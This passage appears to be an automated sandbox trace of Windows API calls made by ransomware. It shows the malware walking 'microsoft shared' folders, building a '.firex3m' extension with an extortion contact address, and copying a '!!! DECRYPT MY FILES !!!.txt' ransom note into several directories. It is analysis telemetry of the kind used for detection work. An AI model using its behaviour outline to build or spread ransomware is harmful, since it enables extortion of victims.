pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.922] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.922] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.922] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0114.922] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0114.923] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\") returned 1 [0114.923] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\") returned 0x39 [0114.923] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.923] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0114.923] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.923] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.924] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui") returned 1 [0114.924] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-CN\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui") returned 0x48 [0114.924] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.924] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.924] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.924] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.924] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.924] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0114.924] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0114.924] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\") returned 1 [0114.924] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\") returned 0x39 [0114.925] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.925] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.925] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4e40 [0114.925] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.925] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e0daa01, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e0daa01, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.925] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 1 [0114.925] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui") returned 0x48 [0114.925] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.925] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.925] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.925] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.926] FindNextFileW (in: hFindFile=0x6d4e40, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.926] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0114.926] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.926] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0114.926] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0114.926] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\", len=0x36 | out: pbstr=0x6ebee10*="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\") returned 1 [0114.926] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\", cchLength=0x36 | out: lpsz="c:\\program files\\common files\\microsoft shared\\msinfo\\") returned 0x36 [0114.927] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.927] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.927] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0114.927] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.927] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0114.927] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\", len=0x3c | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\") returned 1 [0114.927] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\", cchLength=0x3c | out: lpsz="c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\") returned 0x3c [0114.927] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.927] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.928] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5240 [0114.928] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa098aa4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.928] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x73430dfb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x261f2e00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0114.929] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", len=0x4c | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 1 [0114.929] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui") returned 0x4c [0114.929] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.929] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.929] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.929] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.929] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0114.929] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0114.929] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x8b209410, dwReserved1=0x1d2a058, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4ec0 [0114.929] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0114.929] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0114.933] GetProcessHeap () returned 0x630000 [0114.933] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1478 [0114.933] FindNextFileW (in: hFindFile=0x6d5240, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.933] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0114.933] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0114.933] SysReAllocStringLen (in: pbstr=0x6ebee08*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", len=0x42 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 1 [0114.933] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe") returned 0x42 [0114.933] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.933] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.933] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.933] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.934] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebddac, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt呞ৄh") returned 28 [0114.934] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdda8, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt呞ৄh") returned 17 [0114.934] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeb14 | out: lpFindFileData=0x6ebeb14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5500 [0114.934] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0114.934] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0114.937] GetProcessHeap () returned 0x630000 [0114.937] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1478, Size=0x10) returned 0x6b1388 [0114.937] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.937] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0114.937] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0114.937] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\", len=0x38 | out: pbstr=0x6ebee10*="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\") returned 1 [0114.938] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office16\\") returned 0x38 [0114.938] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.938] CharLowerBuffW (in: 